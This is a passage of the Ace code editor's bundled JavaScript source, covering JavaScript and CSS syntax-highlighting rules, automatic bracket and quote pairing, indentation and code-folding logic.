regex : /(\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName)|ById)|Attribute(?:Node)?)|blur)\b(?=\()/
}, {
token : ["punctuation.operator", "support.constant"],
regex : /(\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\b/
}, {
token : ["support.constant"],
regex : /that\b/
}, {
token : ["storage.type", "punctuation.operator", "support.function.firebug"],
regex : /(console)(\.)(warn|info|log|error|time|trace|timeEnd|assert)\b/
}, {
token : keywordMapper,
regex : identifierRe
}, {
token : "keyword.operator",
regex : /--|\+\+|[!$%&*+\-~]|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\|\||\?\:|\*=|%=|\+=|\-=|&=|\^=/,
next : "start"
}, {
token : "punctuation.operator",
regex : /\?|\:|\,|\;|\./,
next : "start"
}, {
token : "paren.lparen",
regex : /[\[({]/,
next : "start"
}, {
token : "paren.rparen",
regex : /[\])}]/
}, {
token : "keyword.operator",
regex : /\/=?/,
next : "start"
}, {
token: "comment",
regex: /^#!.*$/
}
],
"start": [
DocCommentHighlightRules.getStartRule("doc-start"),
{
token : "comment", // multi line comment
regex : "\\/\\*",
next : "comment_regex_allowed"
}, {
token : "comment",
regex : "\\/\\/",
next : "line_comment_regex_allowed"
}, {
token: "string.regexp",
regex: "\\/",
next: "regex"
}, {
token : "text",
regex : "\\s+|^$",
next : "start"
}, {
token: "empty",
regex: "",
next: "no_regex"
}
],
"regex": [
{
token: "regexp.keyword.operator",
regex: "\\\\(?:u[\\da-fA-F]{4}|x[\\da-fA-F]{2}|.)"
}, {
token: "string.regexp",
regex: "/[sxngimy]*",
next: "no_regex"
}, {
token : "invalid",
regex: /\{\d+\b,?\d*\}[+*]|[+*$^?][+*]|[$^][?]|\?{3,}/
}, {
token : "constant.language.escape",
regex: /\(\?[:=!]|\)|\{\d+\b,?\d*\}|[+*]\?|[()$^+*?.]/
}, {
token : "constant.language.delimiter",
regex: /\|/
}, {
token: "constant.language.escape",
regex: /\[\^?/,
next: "regex_character_class"
}, {
token: "empty",
regex: "$",
next: "no_regex"
}, {
defaultToken: "string.regexp"
}
],
"regex_character_class": [
{
token: "regexp.keyword.operator",
regex: "\\\\(?:u[\\da-fA-F]{4}|x[\\da-fA-F]{2}|.)"
}, {
token: "constant.language.escape",
regex: "]",
next: "regex"
}, {
token: "constant.language.escape",
regex: "-"
}, {
token: "empty",
regex: "$",
next: "no_regex"
}, {
defaultToken: "string.regexp.charachterclass"
}
],
"function_arguments": [
{
token: "variable.parameter",
regex: identifierRe
}, {
token: "punctuation.operator",
regex: "[, ]+"
}, {
token: "punctuation.operator",
regex: "$"
}, {
token: "empty",
regex: "",
next: "no_regex"
}
],
"comment_regex_allowed" : [
{token : "comment", regex : "\\*\\/", next : "start"},
{defaultToken : "comment"}
],
"comment" : [
{token : "comment", regex : "\\*\\/", next : "no_regex"},
{defaultToken : "comment"}
],
"line_comment_regex_allowed" : [
{token : "comment", regex : "$|^", next : "start"},
{defaultToken : "comment"}
],
"line_comment" : [
{token : "comment", regex : "$|^", next : "no_regex"},
{defaultToken : "comment"}
],
"qqstring" : [
{
token : "constant.language.escape",
regex : escapedRe
}, {
token : "string",
regex : "\\\\$",
next : "qqstring"
}, {
token : "string",
regex : '"|$',
next : "no_regex"
}, {
defaultToken: "string"
}
],
"qstring" : [
{
token : "constant.language.escape",
regex : escapedRe
}, {
token : "string",
regex : "\\\\$",
next : "qstring"
}, {
token : "string",
regex : "'|$",
next : "no_regex"
}, {
defaultToken: "string"
}
]
};
this.embedRules(DocCommentHighlightRules, "doc-",
[ DocCommentHighlightRules.getEndRule("no_regex") ]);
};
oop.inherits(JavaScriptHighlightRules, TextHighlightRules);
exports.JavaScriptHighlightRules = JavaScriptHighlightRules;
});
ace.define("ace/mode/matching_brace_outdent",["require","exports","module","ace/range"], function(require, exports, module) {
"use strict";
var Range = require("../range").Range;
var MatchingBraceOutdent = function() {};
(function() {
this.checkOutdent = function(line, input) {
if (! /^\s+$/.test(line))
return false;
return /^\s*\}/.test(input);
};
this.autoOutdent = function(doc, row) {
var line = doc.getLine(row);
var match = line.match(/^(\s*\})/);
if (!match) return 0;
var column = match[1].length;
var openBracePos = doc.findMatchingBracket({row: row, column: column});
if (!openBracePos || openBracePos.row == row) return 0;
var indent = this.$getIndent(doc.getLine(openBracePos.row));
doc.replace(new Range(row, 0, row, column-1), indent);
};
this.$getIndent = function(line) {
return line.match(/^\s*/)[0];
};
}).call(MatchingBraceOutdent.prototype);
exports.MatchingBraceOutdent = MatchingBraceOutdent;
});
ace.define("ace/mode/behaviour/cstyle",["require","exports","module","ace/lib/oop","ace/mode/behaviour","ace/token_iterator","ace/lib/lang"], function(require, exports, module) {
"use strict";
var oop = require("../../lib/oop");
var Behaviour = require("../behaviour").Behaviour;
var TokenIterator = require("../../token_iterator").TokenIterator;
var lang = require("../../lib/lang");
var SAFE_INSERT_IN_TOKENS =
["text", "paren.rparen", "punctuation.operator"];
var SAFE_INSERT_BEFORE_TOKENS =
["text", "paren.rparen", "punctuation.operator", "comment"];
var context;
var contextCache = {}
var initContext = function(editor) {
var id = -1;
if (editor.multiSelect) {
id = editor.selection.id;
if (contextCache.rangeCount != editor.multiSelect.rangeCount)
contextCache = {rangeCount: editor.multiSelect.rangeCount};
}
if (contextCache[id])
return context = contextCache[id];
context = contextCache[id] = {
autoInsertedBrackets: 0,
autoInsertedRow: -1,
autoInsertedLineEnd: "",
maybeInsertedBrackets: 0,
maybeInsertedRow: -1,
maybeInsertedLineStart: "",
maybeInsertedLineEnd: ""
};
};
var CstyleBehaviour = function() {
this.add("braces", "insertion", function(state, action, editor, session, text) {
var cursor = editor.getCursorPosition();
var line = session.doc.getLine(cursor.row);
if (text == '{') {
initContext(editor);
var selection = editor.getSelectionRange();
var selected = session.doc.getTextRange(selection);
if (selected !== "" && selected !== "{" && editor.getWrapBehavioursEnabled()) {
return {
text: '{' + selected + '}',
selection: false
};
} else if (CstyleBehaviour.isSaneInsertion(editor, session)) {
if (/[\]\}\)]/.test(line[cursor.column]) || editor.inMultiSelectMode) {
CstyleBehaviour.recordAutoInsert(editor, session, "}");
return {
text: '{}',
selection: [1, 1]
};
} else {
CstyleBehaviour.recordMaybeInsert(editor, session, "{");
return {
text: '{',
selection: [1, 1]
};
}
}
} else if (text == '}') {
initContext(editor);
var rightChar = line.substring(cursor.column, cursor.column + 1);
if (rightChar == '}') {
var matching = session.$findOpeningBracket('}', {column: cursor.column + 1, row: cursor.row});
if (matching !== null && CstyleBehaviour.isAutoInsertedClosing(cursor, line, text)) {
CstyleBehaviour.popAutoInsertedClosing();
return {
text: '',
selection: [1, 1]
};
}
}
} else if (text == "\n" || text == "\r\n") {
initContext(editor);
var closing = "";
if (CstyleBehaviour.isMaybeInsertedClosing(cursor, line)) {
closing = lang.stringRepeat("}", context.maybeInsertedBrackets);
CstyleBehaviour.clearMaybeInsertedClosing();
}
var rightChar = line.substring(cursor.column, cursor.column + 1);
if (rightChar === '}') {
var openBracePos = session.findMatchingBracket({row: cursor.row, column: cursor.column+1}, '}');
if (!openBracePos)
return null;
var next_indent = this.$getIndent(session.getLine(openBracePos.row));
} else if (closing) {
var next_indent = this.$getIndent(line);
} else {
CstyleBehaviour.clearMaybeInsertedClosing();
return;
}
var indent = next_indent + session.getTabString();
return {
text: '\n' + indent + '\n' + next_indent + closing,
selection: [1, indent.length, 1, indent.length]
};
} else {
CstyleBehaviour.clearMaybeInsertedClosing();
}
});
this.add("braces", "deletion", function(state, action, editor, session, range) {
var selected = session.doc.getTextRange(range);
if (!range.isMultiLine() && selected == '{') {
initContext(editor);
var line = session.doc.getLine(range.start.row);
var rightChar = line.substring(range.end.column, range.end.column + 1);
if (rightChar == '}') {
range.end.column++;
return range;
} else {
context.maybeInsertedBrackets--;
}
}
});
this.add("parens", "insertion", function(state, action, editor, session, text) {
if (text == '(') {
initContext(editor);
var selection = editor.getSelectionRange();
var selected = session.doc.getTextRange(selection);
if (selected !== "" && editor.getWrapBehavioursEnabled()) {
return {
text: '(' + selected + ')',
selection: false
};
} else if (CstyleBehaviour.isSaneInsertion(editor, session)) {
CstyleBehaviour.recordAutoInsert(editor, session, ")");
return {
text: '()',
selection: [1, 1]
};
}
} else if (text == ')') {
initContext(editor);
var cursor = editor.getCursorPosition();
var line = session.doc.getLine(cursor.row);
var rightChar = line.substring(cursor.column, cursor.column + 1);
if (rightChar == ')') {
var matching = session.$findOpeningBracket(')', {column: cursor.column + 1, row: cursor.row});
if (matching !== null && CstyleBehaviour.isAutoInsertedClosing(cursor, line, text)) {
CstyleBehaviour.popAutoInsertedClosing();
return {
text: '',
selection: [1, 1]
};
}
}
}
});
this.add("parens", "deletion", function(state, action, editor, session, range) {
var selected = session.doc.getTextRange(range);
if (!range.isMultiLine() && selected == '(') {
initContext(editor);
var line = session.doc.getLine(range.start.row);
var rightChar = line.substring(range.start.column + 1, range.start.column + 2);
if (rightChar == ')') {
range.end.column++;
return range;
}
}
});
this.add("brackets", "insertion", function(state, action, editor, session, text) {
if (text == '[') {
initContext(editor);
var selection = editor.getSelectionRange();
var selected = session.doc.getTextRange(selection);
if (selected !== "" && editor.getWrapBehavioursEnabled()) {
return {
text: '[' + selected + ']',
selection: false
};
} else if (CstyleBehaviour.isSaneInsertion(editor, session)) {
CstyleBehaviour.recordAutoInsert(editor, session, "]");
return {
text: '[]',
selection: [1, 1]
};
}
} else if (text == ']') {
initContext(editor);
var cursor = editor.getCursorPosition();
var line = session.doc.getLine(cursor.row);
var rightChar = line.substring(cursor.column, cursor.column + 1);
if (rightChar == ']') {
var matching = session.$findOpeningBracket(']', {column: cursor.column + 1, row: cursor.row});
if (matching !== null && CstyleBehaviour.isAutoInsertedClosing(cursor, line, text)) {
CstyleBehaviour.popAutoInsertedClosing();
return {
text: '',
selection: [1, 1]
};
}
}
}
});
this.add("brackets", "deletion", function(state, action, editor, session, range) {
var selected = session.doc.getTextRange(range);
if (!range.isMultiLine() && selected == '[') {
initContext(editor);
var line = session.doc.getLine(range.start.row);
var rightChar = line.substring(range.start.column + 1, range.start.column + 2);
if (rightChar == ']') {
range.end.column++;
return range;
}
}
});
this.add("string_dquotes", "insertion", function(state, action, editor, session, text) {
if (text == '"' || text == "'") {
initContext(editor);
var quote = text;
var selection = editor.getSelectionRange();
var selected = session.doc.getTextRange(selection);
if (selected !== "" && selected !== "'" && selected != '"' && editor.getWrapBehavioursEnabled()) {
return {
text: quote + selected + quote,
selection: false
};
} else {
var cursor = editor.getCursorPosition();
var line = session.doc.getLine(cursor.row);
var leftChar = line.substring(cursor.column-1, cursor.column);
if (leftChar == '\\') {
return null;
}
var tokens = session.getTokens(selection.start.row);
var col = 0, token;
var quotepos = -1; // Track whether we're inside an open quote.
for (var x = 0; x < tokens.length; x++) {
token = tokens[x];
if (token.type == "string") {
quotepos = -1;
} else if (quotepos < 0) {
quotepos = token.value.indexOf(quote);
}
if ((token.value.length + col) > selection.start.column) {
break;
}
col += tokens[x].value.length;
}
if (!token || (quotepos < 0 && token.type !== "comment" && (token.type !== "string" || ((selection.start.column !== token.value.length+col-1) && token.value.lastIndexOf(quote) === token.value.length-1)))) {
if (!CstyleBehaviour.isSaneInsertion(editor, session))
return;
return {
text: quote + quote,
selection: [1,1]
};
} else if (token && token.type === "string") {
var rightChar = line.substring(cursor.column, cursor.column + 1);
if (rightChar == quote) {
return {
text: '',
selection: [1, 1]
};
}
}
}
}
});
this.add("string_dquotes", "deletion", function(state, action, editor, session, range) {
var selected = session.doc.getTextRange(range);
if (!range.isMultiLine() && (selected == '"' || selected == "'")) {
initContext(editor);
var line = session.doc.getLine(range.start.row);
var rightChar = line.substring(range.start.column + 1, range.start.column + 2);
if (rightChar == selected) {
range.end.column++;
return range;
}
}
});
};
CstyleBehaviour.isSaneInsertion = function(editor, session) {
var cursor = editor.getCursorPosition();
var iterator = new TokenIterator(session, cursor.row, cursor.column);
if (!this.$matchTokenType(iterator.getCurrentToken() || "text", SAFE_INSERT_IN_TOKENS)) {
var iterator2 = new TokenIterator(session, cursor.row, cursor.column + 1);
if (!this.$matchTokenType(iterator2.getCurrentToken() || "text", SAFE_INSERT_IN_TOKENS))
return false;
}
iterator.stepForward();
return iterator.getCurrentTokenRow() !== cursor.row ||
this.$matchTokenType(iterator.getCurrentToken() || "text", SAFE_INSERT_BEFORE_TOKENS);
};
CstyleBehaviour.$matchTokenType = function(token, types) {
return types.indexOf(token.type || token) > -1;
};
CstyleBehaviour.recordAutoInsert = function(editor, session, bracket) {
var cursor = editor.getCursorPosition();
var line = session.doc.getLine(cursor.row);
if (!this.isAutoInsertedClosing(cursor, line, context.autoInsertedLineEnd[0]))
context.autoInsertedBrackets = 0;
context.autoInsertedRow = cursor.row;
context.autoInsertedLineEnd = bracket + line.substr(cursor.column);
context.autoInsertedBrackets++;
};
CstyleBehaviour.recordMaybeInsert = function(editor, session, bracket) {
var cursor = editor.getCursorPosition();
var line = session.doc.getLine(cursor.row);
if (!this.isMaybeInsertedClosing(cursor, line))
context.maybeInsertedBrackets = 0;
context.maybeInsertedRow = cursor.row;
context.maybeInsertedLineStart = line.substr(0, cursor.column) + bracket;
context.maybeInsertedLineEnd = line.substr(cursor.column);
context.maybeInsertedBrackets++;
};
CstyleBehaviour.isAutoInsertedClosing = function(cursor, line, bracket) {
return context.autoInsertedBrackets > 0 &&
cursor.row === context.autoInsertedRow &&
bracket === context.autoInsertedLineEnd[0] &&
line.substr(cursor.column) === context.autoInsertedLineEnd;
};
CstyleBehaviour.isMaybeInsertedClosing = function(cursor, line) {
return context.maybeInsertedBrackets > 0 &&
cursor.row === context.maybeInsertedRow &&
line.substr(cursor.column) === context.maybeInsertedLineEnd &&
line.substr(0, cursor.column) == context.maybeInsertedLineStart;
};
CstyleBehaviour.popAutoInsertedClosing = function() {
context.autoInsertedLineEnd = context.autoInsertedLineEnd.substr(1);
context.autoInsertedBrackets--;
};
CstyleBehaviour.clearMaybeInsertedClosing = function() {
if (context) {
context.maybeInsertedBrackets = 0;
context.maybeInsertedRow = -1;
}
};
oop.inherits(CstyleBehaviour, Behaviour);
exports.CstyleBehaviour = CstyleBehaviour;
});
ace.define("ace/mode/folding/cstyle",["require","exports","module","ace/lib/oop","ace/range","ace/mode/folding/fold_mode"], function(require, exports, module) {
"use strict";
var oop = require("../../lib/oop");
var Range = require("../../range").Range;
var BaseFoldMode = require("./fold_mode").FoldMode;
var FoldMode = exports.FoldMode = function(commentRegex) {
if (commentRegex) {
this.foldingStartMarker = new RegExp(
this.foldingStartMarker.source.replace(/\|[^|]*?$/, "|" + commentRegex.start)
);
this.foldingStopMarker = new RegExp(
this.foldingStopMarker.source.replace(/\|[^|]*?$/, "|" + commentRegex.end)
);
}
};
oop.inherits(FoldMode, BaseFoldMode);
(function() {
this.foldingStartMarker = /(\{|\[)[^\}\]]*$|^\s*(\/\*)/;
this.foldingStopMarker = /^[^\[\{]*(\}|\])|^[\s\*]*(\*\/)/;
this.getFoldWidgetRange = function(session, foldStyle, row, forceMultiline) {
var line = session.getLine(row);
var match = line.match(this.foldingStartMarker);
if (match) {
var i = match.index;
if (match[1])
return this.openingBracketBlock(session, match[1], row, i);
var range = session.getCommentFoldRange(row, i + match[0].length, 1);
if (range && !range.isMultiLine()) {
if (forceMultiline) {
range = this.getSectionRange(session, row);
} else if (foldStyle != "all")
range = null;
}
return range;
}
if (foldStyle === "markbegin")
return;
var match = line.match(this.foldingStopMarker);
if (match) {
var i = match.index + match[0].length;
if (match[1])
return this.closingBracketBlock(session, match[1], row, i);
return session.getCommentFoldRange(row, i, -1);
}
};
this.getSectionRange = function(session, row) {
var line = session.getLine(row);
var startIndent = line.search(/\S/);
var startRow = row;
var startColumn = line.length;
row = row + 1;
var endRow = row;
var maxRow = session.getLength();
while (++row < maxRow) {
line = session.getLine(row);
var indent = line.search(/\S/);
if (indent === -1)
continue;
if (startIndent > indent)
break;
var subRange = this.getFoldWidgetRange(session, "all", row);
if (subRange) {
if (subRange.start.row <= startRow) {
break;
} else if (subRange.isMultiLine()) {
row = subRange.end.row;
} else if (startIndent == indent) {
break;
}
}
endRow = row;
}
return new Range(startRow, startColumn, endRow, session.getLine(endRow).length);
};
}).call(FoldMode.prototype);
});
ace.define("ace/mode/javascript",["require","exports","module","ace/lib/oop","ace/mode/text","ace/mode/javascript_highlight_rules","ace/mode/matching_brace_outdent","ace/range","ace/worker/worker_client","ace/mode/behaviour/cstyle","ace/mode/folding/cstyle"], function(require, exports, module) {
"use strict";
var oop = require("../lib/oop");
var TextMode = require("./text").Mode;
var JavaScriptHighlightRules = require("./javascript_highlight_rules").JavaScriptHighlightRules;
var MatchingBraceOutdent = require("./matching_brace_outdent").MatchingBraceOutdent;
var Range = require("../range").Range;
var WorkerClient = require("../worker/worker_client").WorkerClient;
var CstyleBehaviour = require("./behaviour/cstyle").CstyleBehaviour;
var CStyleFoldMode = require("./folding/cstyle").FoldMode;
var Mode = function() {
this.HighlightRules = JavaScriptHighlightRules;
this.$outdent = new MatchingBraceOutdent();
this.$behaviour = new CstyleBehaviour();
this.foldingRules = new CStyleFoldMode();
};
oop.inherits(Mode, TextMode);
(function() {
this.lineCommentStart = "//";
this.blockComment = {start: "/*", end: "*/"};
this.getNextLineIndent = function(state, line, tab) {
var indent = this.$getIndent(line);
var tokenizedLine = this.getTokenizer().getLineTokens(line, state);
var tokens = tokenizedLine.tokens;
var endState = tokenizedLine.state;
if (tokens.length && tokens[tokens.length-1].type == "comment") {
return indent;
}
if (state == "start" || state == "no_regex") {
var match = line.match(/^.*(?:\bcase\b.*\:|[\{\(\[])\s*$/);
if (match) {
indent += tab;
}
} else if (state == "doc-start") {
if (endState == "start" || endState == "no_regex") {
return "";
}
var match = line.match(/^\s*(\/?)\*/);
if (match) {
if (match[1]) {
indent += " ";
}
indent += "* ";
}
}
return indent;
};
this.checkOutdent = function(state, line, input) {
return this.$outdent.checkOutdent(line, input);
};
this.autoOutdent = function(state, doc, row) {
this.$outdent.autoOutdent(doc, row);
};
this.createWorker = function(session) {
var worker = new WorkerClient(["ace"], "ace/mode/javascript_worker", "JavaScriptWorker");
worker.attachToDocument(session.getDocument());
worker.on("jslint", function(results) {
session.setAnnotations(results.data);
});
worker.on("terminate", function() {
session.clearAnnotations();
});
return worker;
};
this.$id = "ace/mode/javascript";
}).call(Mode.prototype);
exports.Mode = Mode;
});
ace.define("ace/mode/css_highlight_rules",["require","exports","module","ace/lib/oop","ace/lib/lang","ace/mode/text_highlight_rules"], function(require, exports, module) {
"use strict";
var oop = require("../lib/oop");
var lang = require("../lib/lang");
var TextHighlightRules = require("./text_highlight_rules").TextHighlightRules;
var supportType = exports.supportType = "animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index";
var supportFunction = exports.supportFunction = "rgb|rgba|url|attr|counter|counters";
var supportConstant = exports.supportConstant = "absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero";
var supportConstantColor = exports.supportConstantColor = "aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow";
var supportConstantFonts = exports.supportConstantFonts = "arial|century|comic|courier|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace";
var numRe = exports.numRe = "\\-?(?:(?:[0-9]+)|(?:[0-9]*\\.[0-9]+))";
var pseudoElements = exports.pseudoElements = "(\\:+)\\b(after|before|first-letter|first-line|moz-selection|selection)\\b";
var pseudoClasses = exports.pseudoClasses = "(:)\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\b";
var CssHighlightRules = function() {
var keywordMapper = this.createKeywordMapper({
"support.function": supportFunction,
"support.constant": supportConstant,
"support.type": supportType,
"support.constant.color": supportConstantColor,
"support.constant.fonts": supportConstantFonts
}, "text", true);
this.$rules = {
"start" : [{
token : "comment", // multi line comment
regex : "\\/\\*",
push : "comment"
}, {
token: "paren.lparen",
regex: "\\{",
push: "ruleset"
}, {
token: "string",
regex: "@.*?{",
push: "media"
}, {
token: "keyword",
regex: "#[a-z0-9-_]+"
}, {
token: "variable",
regex: "\\.[a-z0-9-_]+"
}, {
token: "string",
regex: ":[a-z0-9-_]+"
}, {
token: "constant",
regex: "[a-z0-9-_]+"
}, {
caseInsensitive: true
}],
"media" : [{
token : "comment", // multi line comment
regex : "\\/\\*",
push : "comment"
}, {
token: "paren.lparen",
regex: "\\{",
push: "ruleset"
}, {
token: "string",
regex: "\\}",
next: "pop"
}, {
token: "keyword",
regex: "#[a-z0-9-_]+"
}, {
token: "variable",
regex: "\\.[a-z0-9-_]+"
}, {
token: "string",
regex: ":[a-z0-9-_]+"
}, {
token: "constant",
regex: "[a-z0-9-_]+"
}, {
caseInsensitive: true
}],
"comment" : [{
token : "comment",
regex : "\\*\\/",
next : "pop"
}, {
defaultToken : "comment"
}],
"ruleset" : [
{
token : "paren.rparen",
regex : "\\}",
next: "pop"
}, {
token : "comment", // multi line comment
regex : "\\/\\*",
push : "comment"
}, {
token : "string", // single line
regex : '["](?:(?:\\\\.)|(?:[^"\\\\]))*?["]'
}, {
token : "string", // single line
regex : "['](?:(?:\\\\.)|(?:[^'\\\\]))*?[']"
}, {
token : ["constant.numeric", "keyword"],
regex : "(" + numRe + ")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)"
}, {
token : "constant.numeric",
regex : numRe
}, {
token : "constant.numeric", // hex6 color
regex : "#[a-f0-9]{6}"
}, {
token : "constant.numeric", // hex3 color
regex : "#[a-f0-9]{3}"
}, {
